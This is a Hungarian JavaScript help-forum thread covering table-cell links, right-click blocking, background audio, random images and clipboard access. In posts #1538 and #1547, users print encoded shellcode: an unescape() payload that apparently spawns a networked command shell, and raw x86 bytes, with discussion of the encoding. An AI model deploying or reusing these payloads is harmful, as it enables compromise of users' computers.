Hirdetés

2024. május 3., péntek

Gyorskeresés

Téma összefoglaló

Téma összefoglaló

  • Utoljára frissítve: 2014-02-25 10:20:57

LOGOUT.hu

JavaScript != Java (A JavaScript nem összekeverendő a Javával, két különböző programozási nyelvről van szó!)

Összefoglaló kinyitása ▼

Hozzászólások

(#1501) ktg3 válasza fordfairlane (#1500) üzenetére


ktg3
őstag

köszi ez jó: )
de soha nem jöttem volna rá, hogy így lehet javascriptben hozzányúlni a dolgokhoz :B

(#1502) fordfairlane válasza ktg3 (#1501) üzenetére


fordfairlane
veterán

de soha nem jöttem volna rá, hogy így lehet javascriptben hozzányúlni a dolgokhoz

Erre nem rájönni kell, hanem megnézni a DOM leírásokban. :)

x gon' give it to ya

(#1503) ktg3 válasza fordfairlane (#1502) üzenetére


ktg3
őstag

és az is ottvan? hogy hogy lehet megcsinálni azt, hogy onclickre a cella adjon egy linket??
mert én valahogy így képzelem el.

var x=document.getElementById('menu').insertRow(i);
i++;
var y=x.insertCell(0);
y.innerHTML="<a"+f+" href='oldal_11.htm?kod="+I+"' target='oldal'> "+S+"</a>";
x.onmouseover = function () {this.style.backgroundColor='#FFD700';}
x.onmouseout = function () {this.style.backgroundColor='#839CBF';}
x.onclick=function () {"<a href='oldal_11.htm?kod="+I+"' target='oldal'> </a>"}

de persze ez csak az álmaimban:D
vagy mi az ami linkesít javascriptben??

persze így ki lehetne venni a hrefet a cella tartalmából

[ Szerkesztve ]

(#1504) fordfairlane válasza ktg3 (#1503) üzenetére


fordfairlane
veterán

vagy mi az ami linkesít javascriptben??

Mi a baj a te megoldásoddal? (y.innerHTML)

x gon' give it to ya

(#1505) ktg3 válasza fordfairlane (#1504) üzenetére


ktg3
őstag

nincs baj, csak szeretném tudni, hogy hogy kell olyat, hogy az egész cella a link, és nem csak a tartalma.

bizonyos körülmények között jobban hat ha az egész cella a link nem csak a szöveg benne

(#1506) fordfairlane válasza ktg3 (#1505) üzenetére


fordfairlane
veterán

Hát attól függ, hogy egyetlen cellát akarsz anchorosítani, vagy egy egész táblázatsort.

Ha csak egy cellát, akkor a legegyszerűbb módja jelen esetben az, ha az anchor (<a>) elemet blokkelemnek definiálod style beállítással. Ezután egyből 100% széles lesz, ami az adott cella szélessége, magasságot meg esetleg be lehet külön állítani, ha szükség van rá.

Valahogy úgy, hogy:

<style type="text/css">
td a {
display: block;
}
</style>

Ha egy egész sorból, ami több cellából áll, akarsz linket csinálni, ahhoz scriptezni kell, de végül is az sem bonyolult.

<script type="text/javascript">
function insRow() {
var x=document.getElementById('menu').insertRow(0);
var y=x.insertCell(0);
y.innerHTML="<a href='http://www.facebook.com'>xxx</a>";
x.onmouseover = function () {this.style.backgroundColor='#FFD700';}
x.onmouseout = function () {this.style.backgroundColor='#839CBF';}
x.onclick = function () {window.location="http://www.facebook.com";}
}
</script>

Ez működik, viszont az a baja, hogy az egérkurzor nem vált át a táblacella fölött, ezért ezt még hozzá kell csapni:

<style type="text/css">
td {
cursor: hand;
}
</style>

[ Szerkesztve ]

x gon' give it to ya

(#1507) ktg3 válasza fordfairlane (#1506) üzenetére


ktg3
őstag

és olyat nem lehet, hogy y.onclick?
vájá mindjárt kipróbálom :DDD

(#1508) ktg3


ktg3
őstag

de ahogy te írtad a scriptben nem nagyon működik a linkeknél a target, igazából egyáltalán nem működik,

azt hogy lehet előszedni így?

(#1509) fordfairlane válasza ktg3 (#1508) üzenetére


fordfairlane
veterán

Melyik példában? Kettőt írtam. Igazából ha egyetlen cella van azokban a táblasorokban, akkor nem nagyon kell script, jó az első példa is. Egyébként a window.location helyett window.open-t használva meg lehet nyitni új ablakban.

x gon' give it to ya

(#1510) Rayyy


Rayyy
senior tag

Sziasztok!

Egyéni grafikájú görgetősávnál (ami minden böngészőben jó) css-ben vagy java-ban gondolkozzak? Hogy kell aztat?

Minden a legnagyobb render!

(#1511) Sk8erPeter válasza Rayyy (#1510) üzenetére


Sk8erPeter
nagyúr

Java != Javascript (értsd: Java NEM EGYENLŐ (nagyon nem) a Javascripttel!!!)

"Hogy kell aztat?" :DD
Styling Scrollable Areas
[link]
[link]

Sk8erPeter

(#1512) Rayyy válasza Sk8erPeter (#1511) üzenetére


Rayyy
senior tag

Igen, erre a különbségre már rájöttem a nagy kutatásom közepette :D

Köszi, kipróbálom, jó linkek!

Minden a legnagyobb render!

(#1513) Windsurfer


Windsurfer
tag

Sziasztok!

Szükségem lenne egy olyan java script-re amit ha beszúrok az oldal egy bizonyos részébe ( <td>) akkor ott ne működjön a jobb klikk (képet szeretnék így "védeni")

Olyat már találtam ami az egész oldalt levédi, sőt még a szöveg kijelölést se engedi, de ennyire hardcore nem kell :)

Köszi! :)

Motorola Defy Full Stock ^.^

(#1514) shev7 válasza Windsurfer (#1513) üzenetére


shev7
veterán

letoltestol akarod vedeni? nem erdemes. Aki meg akarja oldani ugyis le fogja tudni tolteni :)

''Gee, Brain, what do you want to do tonight?'' ''The same thing we do every night, Pinky: Try to take over the world!''

(#1515) vakondka válasza Windsurfer (#1513) üzenetére


vakondka
őstag

javascriptes védelem...és ha kikapcsolom a böngészőmben a javascriptet ? :D

https://toptarget.hu - Online Marketing Ügynökség

(#1516) Sk8erPeter válasza shev7 (#1514) üzenetére


Sk8erPeter
nagyúr

Szerintem az olyan júzerekre gondolt, akik NEM fogják tudni letölteni, mivel csak a jobbklikkes módszert ismerik... :U

Sk8erPeter

(#1517) Windsurfer válasza Sk8erPeter (#1516) üzenetére


Windsurfer
tag

igen, azokra gondoltam! tudom, hogy kilehet kapcsolni meg van a printscreen de sokan vannak akik ezzel nem akarnak bajlódni!

Jah és Sk8erPeter! köszi a képes dolgot is! :)

Motorola Defy Full Stock ^.^

(#1518) Sk8erPeter válasza Windsurfer (#1517) üzenetére


Sk8erPeter
nagyúr

Hali!
Így kell csinálni a jobbklikkes menü letiltását:
http://www.dynamicdrive.com/dynamicindex9/noright.htm
A forráskódban beteszed a <body> részbe ezt:

<script language=JavaScript>
<!--

// FORRÁS: http://www.dynamicdrive.com/dynamicindex9/noright.htm
//Disable right mouse click Script
//By Maximus (maximus@nsimail.com) w/ mods by DynamicDrive
//For full source code, visit http://www.dynamicdrive.com

var message="Function Disabled!";

///////////////////////////////////
function clickIE4(){
if (event.button==2){
alert(message);
return false;
}
}

function clickNS4(e){
if (document.layers||document.getElementById&&!document.all){
if (e.which==2||e.which==3){
alert(message);
return false;
}
}
}

if (document.layers){
document.captureEvents(Event.MOUSEDOWN);
document.onmousedown=clickNS4;
}
else if (document.all&&!document.getElementById){
document.onmousedown=clickIE4;
}

document.oncontextmenu=new Function("alert(message);return false");

// -->
</script>

A "message" változó tartalmát átírhatod arra, amit szeretnél kiíratni, ha jobb klikkel kattintanak az oldalon. (Persze meg lehet csinálni azt is, hogy ne dobáljon fel ablakokat, ami figyelmeztet, hogy le van tiltva a dolog.)

Érdemes viszont megfontolni, hogy miért NEM érdemes kikapcsolni a jobbklikkes menüt:
Don't Disable Right Click!

A lényeg belőle:
■ idegesítő (az ember sokszor használja a jobbklikkes menüjét, és mérges lesz, ha ettől a lehetőségétől egy oldal fenntartója meg akarja fosztani)
■ a dokumentum és képek védelme szempontjából értelmetlen, aki akarja, úgyis megszerzi, sőt - a cikk írója szerint - adott esetben pont azt válthatja ki, hogy már csak azért is megszerzik a kódodat/képeidet (ellenkező hatás, mint amit el akartál érni)
■ a JavaScriptet bárki bármikor kikapcsolhatja a böngészőjében
■ sok böngészőben lehet ún. egérmozdulatokat jobb egérgomb segítségével végrehajtani, ha ennek lehetőségét ezzel megszünteted, akkor nem biztos, hogy túl "népszerű" leszel a felhasználóid szemében
■ sokan jobb klikkes menüből akarnak megnyitni új ablakot az új linkekhez, hogy ne kelljen a "Vissza" gombra menni az eredeti oldalra való visszatéréshez, ennek letiltásával ismét csak zavarsz néhány felhasználót
■ sértő lehet, ha eleve rossz szándékot feltételezel a látogatókról (pl. képek vagy forráskód lenyúlása, amit így is meg tud tenni). A látogatók nagy többsége nem azért nézi meg az oldaladat, hogy onnan valamit ellopjon, lenyúljon. Ezenkívül vannak, akik csak kíváncsiak bizonyos kódrészekre, nem feltétlenül fogják saját oldalra bemásolni is azt. (ez ismét csak akkor érdekes, ha jobb klikkel szeretnének belemenni a forráskódnézőkébe)
■ más, kevesebb hátránnyal járó módszerek is léteznek a dokumentumod védelmére (ezek olvashatók a 2. oldalon)
_______________________________________________________________

Ugyanez az oldal ajánlja azt a linket is, amin csak a képekre való jobbklikkelést letiltása olvasható: http://javascript.internet.com/page-details/disable-images-click.html

a <head> részbe ezt másold:

<SCRIPT LANGUAGE="JavaScript">

<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! http://javascript.internet.com -->

<!-- Begin
function right(e) {
var msg = "Sorry, you don't have permission to right-click.";
if (navigator.appName == 'Netscape' && e.which == 3) {
alert(msg);
return false;
}
if (navigator.appName == 'Microsoft Internet Explorer' && event.button==2) {
alert(msg);
return false;
}
else return true;
}

function trap()
{
if(document.images)
{
for(i=0;i<document.images.length;i++)
{
document.images[i].onmousedown = right;
document.images[i].onmouseup = right;
}
}
}
// End -->
</SCRIPT>

Ahol a <body> van, azt a sort meg cseréld ki így:
<body onLoad="trap();">

Remélem segítettem. :)

Sk8erPeter

(#1519) Windsurfer válasza Sk8erPeter (#1518) üzenetére


Windsurfer
tag

Szia!

Köszi a segítséget. A teljes oldalra kiterjedő jobb klikk letiltást semmi esetre se akarom.

De arra gondoltam, hogy a legkönnyebb ha olyan képnéző /nagyítót használok amit te mutattál és a háttérbe nagyon nagyon halványan de még azért láthatóan beteszem teljes kép terjedelembe a cég logot, valamint bebiggyeszteni egy jogi részt az oldalra az oldalon található tartalmak felhasználásáról.
:)

Motorola Defy Full Stock ^.^

(#1520) Sk8erPeter válasza Windsurfer (#1519) üzenetére


Sk8erPeter
nagyúr

Ha már vízjelezel, akkor minek a jogi szöveg? :D

[ Szerkesztve ]

Sk8erPeter

(#1521) Windsurfer válasza Sk8erPeter (#1520) üzenetére


Windsurfer
tag

háme ha még is leszedik a tudtom nélkül akkor kapnak két hatalmas pofont! :DDD

Motorola Defy Full Stock ^.^

(#1522) Sk8erPeter válasza Windsurfer (#1521) üzenetére


Sk8erPeter
nagyúr

:DD

Sk8erPeter

(#1523) paramparya válasza Windsurfer (#1521) üzenetére


paramparya
őstag

ha valamiről azt akarod, hogy ne szedjék le, azt ne rakd fel a netre :)
jobbclicket tiltani minimum olyan súlyos, mint a gyorshajtás, vagy az ittas vezetés :DDD

(#1524) Speeedfire


Speeedfire
nagyúr

aki használja a clearbox nevű galéria készítőt megmondaná nekem h tudom megoldani h a képeknél míg tölti behozza ezt?
a lightboxban alapban benne van viszont a clearbox praktikusabb
clearbox

Fotóim https://fb.com/toth.szabolcs.art || IG: http://instagram.com/_tothszabolcs_ || Weblapom http://szabolcs-toth.com

(#1525) Windsurfer


Windsurfer
tag

Sziasztok!

Betettem egy háttér zenét az oldalamra

<script>
<!--
//specify FULL path to midi
var musicsrc="images/angel.mp3"
if (navigator.appName=="Microsoft Internet Explorer")
document.write('<bgsound src='+'"'+musicsrc+'"'+' loop="once">')
else
document.write('<embed src=\"'+musicsrc+'\" hidden="true" border="0" width="20" height="20" autostart="true" loop="false">')
//-->
</script>

A probléma ott van, hogy Chrome, Opera és IE alatt simán el is indul és megy de FireFox alatt már nem. Kiírja, hogy szükséges bővítmény hiányzik ráklikkelek, hogy bővítmény keresése / telepíése és kiirja, hogy nem talál bővítményt :S mi lehet a baj? :S

Segítséget előre is köszi! :)

Motorola Defy Full Stock ^.^

(#1526) shev7 válasza Windsurfer (#1525) üzenetére


shev7
veterán

valoszinuleg firefox ala kezzel kell installani az mp3 lejatszo plugint.

''Gee, Brain, what do you want to do tonight?'' ''The same thing we do every night, Pinky: Try to take over the world!''

(#1527) Sk8erPeter válasza Windsurfer (#1525) üzenetére


Sk8erPeter
nagyúr

Hali!
Lehet, hogy az a gáz, hogy az else ágban van egy hiba:
src=\"'+musicsrc+'\"
HELYETT próbáld meg ezt:
src="'+musicsrc+'"

Az a perjel oda felesleges. (Szerk.: legfeljebb akkor kéne, ha eleve "macskakörömmel" kezdted volna a sort, és nem sima aposztrófba (') tetted volna az egészet)

Mondjuk szerintem a következő sornál:
document.write('<bgsound src='+'"'+musicsrc+'"'+' loop="once">')
elég lenne ez is:
document.write('<bgsound src="'+musicsrc+'" loop="once">')

Nem kell az a sok plusz oda... :P

Remélem így jó lesz, bár nem garantálom. :D

[ Szerkesztve ]

Sk8erPeter

(#1528) Windsurfer válasza Sk8erPeter (#1527) üzenetére


Windsurfer
tag

Szia!

köszi, kijavítottam, de továbbra se jó.
eseteleg egy másik script vki? :)

Motorola Defy Full Stock ^.^

(#1529) Sk8erPeter válasza Windsurfer (#1528) üzenetére


Sk8erPeter
nagyúr

Most látom, hogy nincs lezárva pontosvesszőkkel... :U

<script>
<!--
//specify FULL path to midi
var musicsrc="images/angel.mp3";
if (navigator.appName=="Microsoft Internet Explorer")
document.write('<bgsound src="'+musicsrc+'" loop="once">');
else
document.write('<embed src="'+musicsrc+'" hidden="true" border="0" width="20" height="20" autostart="true" loop="false">');
//-->
</script>

Így a kód szintaktikája elvileg jó, de igazán nem is értem, mit akarsz beágyazni az "embed" résszel. Kéne legalább valami flash-lejátszó, vagy valami, én nem tudok róla, hogy ez így önmagában működne... Mit állítasz autostart-ra, meg loop-ra? :F

Sk8erPeter

(#1530) Windsurfer válasza Sk8erPeter (#1529) üzenetére


Windsurfer
tag

nah, hát fogtam magamat és leegyszerűsítettem teljesen az egészet és mit ad isten most megy :)

Köszönöm mindenkinek a segítségét, de a rinyálásomnak még nincs vége :DDD

Szóval, ugye létezik olyan kép script ami minden oldal betöltéskor más és más képet hoz be. Ez eddig okés, meg is van és működik is DE nekem egy olyan kéne, hogy kép mellé szöveget is töltsön be és lehetőleg a képhez tartozó szöveget, megoldható ez valahogy JAVA Scriptel? :B

Előre is köszi! :)

Motorola Defy Full Stock ^.^

(#1531) Sk8erPeter válasza Windsurfer (#1530) üzenetére


Sk8erPeter
nagyúr

És végül hogyan "egyszerűsítetted le"?
Ha mutatnál kódrészletet, akkor könnyebb lenne megmondani, mit kéne még berakni... :B

Sk8erPeter

(#1532) Windsurfer válasza Sk8erPeter (#1531) üzenetére


Windsurfer
tag

Hát ennyire:
<embed src="images/angel.mp3" autostart="true" loop="false" hidden="true" width="1" height="1"></embed>

Az a vicc, hogy amíg nem adtam W meg H-t addig firefox nem játszotta le. Így lejátsza.

Nos nekem egyenlőre csak ez a véletlen szerű kép frissítésem van. szépen be is hozza a dolgokat de azzal szeretném kiegészíteni, hogy a képhez, szöveget is tegyen ki mellé, szal ha a text-be beírok valamit kkor még nem fogja a kép alá, mellé, fölé tenni a hozzá tartozó szöveget.

<script language="JavaScript">
var currentdate = 0;
var core = 0;

function initArray() {

this.length = initArray.arguments.length;
for (var i = 0; i < this.length; i++) {
this[i] = initArray.arguments[i];
}
}

link = new initArray(
"xy",
);

image = new initArray(
"xy",
);

text = new initArray(
"xy",
);

var currentdate = new Date();
var core = currentdate.getSeconds() % image.length;
var ranlink = link[core];
var ranimage = image[core];
var rantext = text[core];

document.write('<a href=\"' +ranlink+ '\" target=\"_blank\"><img src=\"'+ranimage+'\" border="0" alt=\"'+rantext+'\"></a>');
</script>

Motorola Defy Full Stock ^.^

(#1533) Windsurfer


Windsurfer
tag

Olyasmire gondolom mint pl ezen az oldalon.
Ha frissíted akkor mindig új terméket ad ki, képek árral stb-vel együtt :)
[link]

[ Szerkesztve ]

Motorola Defy Full Stock ^.^

(#1534) Sk8erPeter válasza Windsurfer (#1532) üzenetére


Sk8erPeter
nagyúr

Próbáld meg ehelyett a sor helyett:
document.write('<a href=\"' +ranlink+ '\" target=\"_blank\"><img src=\"'+ranimage+'\" border="0" alt=\"'+rantext+'\"></a>');

EZT
document.write('<a href=\"' +ranlink+ '\" target=\"_blank\"><img src=\"'+ranimage+'\" border="0" alt=\"'+rantext+'\"></a><br />Képaláírás: '+rantext+'<br />');

Amúgy a linkelt oldalon valószínűleg inkább PHP+MySQL-lel dolgoznak.

Sk8erPeter

(#1535) Windsurfer válasza Sk8erPeter (#1534) üzenetére


Windsurfer
tag

Igen, azzal én is tisztában vagyok, hogy ott php és mysql van csak mint egy példát mutattam.

Köszi a segítséget mindjárt ki is próbálom, csak egyenlőre karácsony fa díszítés és süti zabálás van :DD

Motorola Defy Full Stock ^.^

(#1536) Sk8erPeter válasza Windsurfer (#1535) üzenetére


Sk8erPeter
nagyúr

Apropó, boldog karácsonyt mindenkinek! :K

Sk8erPeter

(#1537) Sk8erPeter


Sk8erPeter
nagyúr

Hali!

Hogy kell vágólapra másolni JavaScripttel?
Nekem ez nem csinál semmit se Opera, se FF, se Chrome alatt: [link]. Egyedül IE8 alatt kérdez rá, engedélyezem-e a hozzáférést a vágólaphoz, ott sikeresen másol is. De azért ez így elég szegényes :D
Ennél ugyanez a helyzet.

Vagy marad az, hogy másolja ki a júzer maga? :F
Nincs általános megoldás?

Köszi a válaszokat! :R

Sk8erPeter

(#1538) sonar


sonar
addikt

Ezt hogyan lehet lefordítani értelmes szövegre? Már ha lehet.
var shellcode= unescape("%u6afc%u4deb%uf9e8%uffff%u60ff%u6c8b%u2424%u458b%u8b3c%u057c%u0178%u8bef" + "%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca" +
"%uc201%uf4eb%u543b%u2824%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01" +
"%u2c03%u898b%u246c%u611c%u31c3%u64db%u438b%u8b30%u0c40%u708b%uad1c%u408b" +
"%u5e08%u8e68%u0e4e%u50ec%ud6ff%u5366%u6866%u3233%u7768%u3273%u545f%ud0ff" +
"%ucb68%ufced%u503b%ud6ff%u895f%u66e5%ued81%u0208%u6a55%uff02%u68d0%u09d9" +
"%uadf5%uff57%u53d6%u5353%u5353%u5343%u5343%ud0ff%u6866%u7c15%u5366%ue189" +
"%u6895%u1aa4%uc770%uff57%u6ad6%u5110%uff55%u68d0%uada4%ue92e%uff57%u53d6" +
"%uff55%u68d0%u49e5%u4986%uff57%u50d6%u5454%uff55%u93d0%ue768%uc679%u5779" +
"%ud6ff%uff55%u66d0%u646a%u6866%u6d63%ue589%u506a%u2959%u89cc%u6ae7%u8944" +
"%u31e2%uf3c0%ufeaa%u2d42%u42fe%u932c%u7a8d%uab38%uabab%u7268%ub3fe%uff16" +
"%u4475%ud6ff%u575b%u5152%u5151%u016a%u5151%u5155%ud0ff%uad68%u05d9%u53ce" +
"%ud6ff%uff6a%u37ff%ud0ff%u578b%u83fc%u64c4%ud6ff%uff52%u68d0%uceef%u60e0" +

"%uff53%uffd6%u41d0");

[ Szerkesztve ]

A tudást mástól kapjuk, a siker a mi tehetségünk - Remember: Your life – Your choices!

(#1539) sonar válasza Sk8erPeter (#1537) üzenetére


sonar
addikt

Biztonsági okból tiltva van.
Így tudod engedélyeztetni FF-ben
about:config
Change signed.applets.codebase_principal_support = true

A tudást mástól kapjuk, a siker a mi tehetségünk - Remember: Your life – Your choices!

(#1540) ArchElf válasza sonar (#1538) üzenetére


ArchElf
addikt

Shellcode
Remélem az angol nem gond :)

AE

Csinálok egy adag popcornt, és leülök fórumozni --- Ízlések és pofonok - kinek miből jutott --- Az igazi beköpőlégy [http://is.gd/cJvlC2]

(#1541) sonar válasza ArchElf (#1540) üzenetére


sonar
addikt

Angol nem gond a másnaposság annál inkább :B

Egyébként nem unicode-ban van kódolva?

[ Szerkesztve ]

A tudást mástól kapjuk, a siker a mi tehetségünk - Remember: Your life – Your choices!

(#1542) Sk8erPeter válasza sonar (#1539) üzenetére


Sk8erPeter
nagyúr

Köszi szépen, aztán a kérdésfeltevés után rájöttem, hogy valószínűleg ez az oka. :D :R Akkor marad a júzer felkérése a kijelölés utáni egérrel vagy kézzel történő másolásra.

Sk8erPeter

(#1543) sonar válasza Sk8erPeter (#1542) üzenetére


sonar
addikt

Nincs mit viszont van rá módszer, hogy egy klikkel ki lehessen jelölni bizonyos területeket
Pl.: http://indafoto.hu/sonar/image/6452873-4d50b2e9/details/l
form.selectContent();

A tudást mástól kapjuk, a siker a mi tehetségünk - Remember: Your life – Your choices!

(#1544) Sk8erPeter válasza sonar (#1543) üzenetére


Sk8erPeter
nagyúr

Köszi, de én egyszerűen csak annyit csináltam, hogy egy input vagy textarea mezőbe beraktam a következőt:
onclick="this.select()"

És működik. :) Eddig 4 böngészőben próbáltam.

Sk8erPeter

(#1545) Sk8erPeter válasza Sk8erPeter (#1537) üzenetére


Sk8erPeter
nagyúr

Itt ha a kiszínezett forráskód fölé mentek, akkor előjön egy ilyen kis Flash-es cucc, az egyik opció, hogy "copy to clipboard", ez tökéletesen meg is csinálja a dolgát az összes böngészőben, amivel próbáltam, csak tudnám, hogyan csinálja. :F
Nem tudjátok? Lehet, hogy OFF (ha Flash), de érdekelne.

Sk8erPeter

(#1546) ArchElf válasza Sk8erPeter (#1545) üzenetére


ArchElf
addikt

Nekem nagyon Flash-nek tűnik:

<div class="item copyToClipboard"><embed id="highlighter_812837_clipboard" type="application/x-shockwave-flash" title="copy to clipboard" allowscriptaccess="always" wmode="transparent" flashvars="highlighterId=highlighter_812837" menu="false" src="http://www.coders.me/wp-content/plugins/syntaxhighlighter/syntaxhighlighter/scripts/clipboard.swf" height="16" width="16"></div>

AE

Csinálok egy adag popcornt, és leülök fórumozni --- Ízlések és pofonok - kinek miből jutott --- Az igazi beköpőlégy [http://is.gd/cJvlC2]

(#1547) ArchElf válasza sonar (#1541) üzenetére


ArchElf
addikt

Szerintem azért van értelme így megjeleníteni, mert ha a hagyományos shellcode-ot konvertálád string-gé, akkor a shellcode-odatat teleszórná nullával (a memóriában az unicode operációs rendszer /illetve unicode program az ascii szöveget úgyis unicode formában tárolja, hacsak nem kényszeríted ki explicite a más módon való tárolást):
Eredeti shellcode:
\x31\xC9\x83\xE9\xDE\xD9\xEE\xD9\x74\x24\xF4\x5B\x81\x73\x13\x95
\xD6\x79\x80\x83\xEB\xFC\xE2\xF4\x69\x3E\x3D\x80\x95\xD6\xF2\xC5
\xA9\x5D\x05\x85\xED\xD7\x96\x0B\xDA\xCE\xF2\xDF\xB5\xD7\x92\xC9
\x1E\xE2\xF2\x81\x7B\xE7\xB9\x19\x39\x52\xB9\xF4\x92\x17\xB3\x8D
\x94\x14\x92\x74\xAE\x82\x5D\x84\xE0\x33\xF2\xDF\xB1\xD7\x92\xE6
\x1E\xDA\x32\x0B\xCA\xCA\x78\x6B\x1E\xCA\xF2\x81\x7E\x5F\x25\xA4
\x91\x15\x48\x40\xF1\x5D\x39\xB0\x10\x16\x01\x8C\x1E\x96\x75\x0B
\xE5\xCA\xD4\x0B\xFD\xDE\x92\x89\x1E\x56\xC9\x80\x95\xD6\xF2\xE8
\xA9\x89\x48\x76\xF5\x80\xF0\x78\x16\x16\x02\xD0\xFD\x26\xF3\x84
\xCA\xBE\xE1\x7E\x1F\xD8\x2E\x7F\x72\xB5\x18\xEC\xF6\xD6\x79\x80

Eredeti shellcode, unicode értelmezése:
\x3100\x4302\xFDFF\xFDFF
\x2400\xFDFF\x5B00\xFDFF
\x7900\xFDFF\xFDFF\xFDFF
\x3E00\x3D00\xFDFF\xFDFF
\x0500\xFDFF\xFDFF\xD605
\xF507\xD205\xFDFF\x1E00
\x1900\x3900\x5200\xFDFF
\xFDFF\x1400\xFDFF\x7400
\xFDFF\x3300\xFDFF\xF107
\x3200\x0B00\xFDFF\xFDFF
\xFDFF\x7E00\x5F00\x2500
\x4000\xFDFF\x5D00\x3900
\xFDFF\x1E00\xFDFF\x7500
\x0B00\xFDFF\x9207\xFDFF
\xFDFF\xFDFF\x498A\x4800
\x7800\x1600\x1600\x0200
\xBE02\xFDFF\x7E00\x1F00

Eredeti shellcode, unicode blokkokban:
\x31C9\x83E9\xDED9\xEED9
\xD679\x8083\xEBFC\xE2F4
\xA95D\x0585\xEDD7\x960B
\x1EE2\xF281\x7BE7\xB919
\x9414\x9274\xAE82\x5D84
\x1EDA\x320B\xCACA\x786B
\x9115\x4840\xF15D\x39B0
\xE5CA\xD40B\xFDDE\x9289
\xA989\x4876\xF580\xF078
\xCABE\xE17E\x1FD8\x2E7F

AE

[ Szerkesztve ]

Csinálok egy adag popcornt, és leülök fórumozni --- Ízlések és pofonok - kinek miből jutott --- Az igazi beköpőlégy [http://is.gd/cJvlC2]

(#1548) Sk8erPeter válasza ArchElf (#1546) üzenetére


Sk8erPeter
nagyúr

Igen, én is ezt mondtam :D Csak azt nem vágom, hogy ha a linken elérhető tartalmat megfelelő változók megadásával beágyazom saját oldalra, akkor az működőképes-e.
Pl. a flashvars részben az első kódrészletnél most nálam ez van (ez itt dinamikusan változik):
flashvars="highlighterId=highlighter_514695"
És a div id-je a következő:
highlighter_514695
Szóval elvileg stimmel a kettő, így rendelik hozzá, de vajon ez saját oldalra beágyazva működik? Az id dinamikus változtatását már JavaScripttel oldják meg?
Még egy kérdés merült fel bennem: ha alapból tiltják biztonsági okokból a clipboardhoz való hozzáférést, akkor ez mégis hogyan tudott hozzáférni? :D

Sk8erPeter

(#1549) ArchElf válasza Sk8erPeter (#1548) üzenetére


ArchElf
addikt

Szerintem a hivatkozásokat PHP-vel generálják adatbázis ID alapján (valószínűleg a kódnak mint mondjuk memo elemnek ez a rekord id-ja). A vágólaphoz meg úgy fér hozzá, hogy a flash már nem a böngésző jogaival/korlátozásaival fut, hanem az azt futtató java/activex környezet jogaival.

Amúgy a highlighter flash akár működőképes lehet a te oldaladon is, legalábbis ha a távoli hivatkozást engedi az adott fájlra a szerverük (vagy letöltöd hozzád és használod, de az ugye már jogsértő).

AE

Csinálok egy adag popcornt, és leülök fórumozni --- Ízlések és pofonok - kinek miből jutott --- Az igazi beköpőlégy [http://is.gd/cJvlC2]

(#1550) Sk8erPeter válasza ArchElf (#1549) üzenetére


Sk8erPeter
nagyúr

"Szerintem a hivatkozásokat PHP-vel generálják adatbázis ID alapján (valószínűleg a kódnak mint mondjuk memo elemnek ez a rekord id-ja)."
Akárhányszor frissítem az oldalt, mindig más random generált id lesz az eredmény. Akkor mi köze ennek az adatbázis ID-hez? :F Ezt nem értem.

Van egy olyan gyanúm egyébként, hogy ez a syntax highlighter nem az ő termékük, hanem valami ingyenes cucc, és akkor nem jogsértő használni, majd utánanézek.

Sk8erPeter

Copyright © 2000-2024 PROHARDVER Informatikai Kft.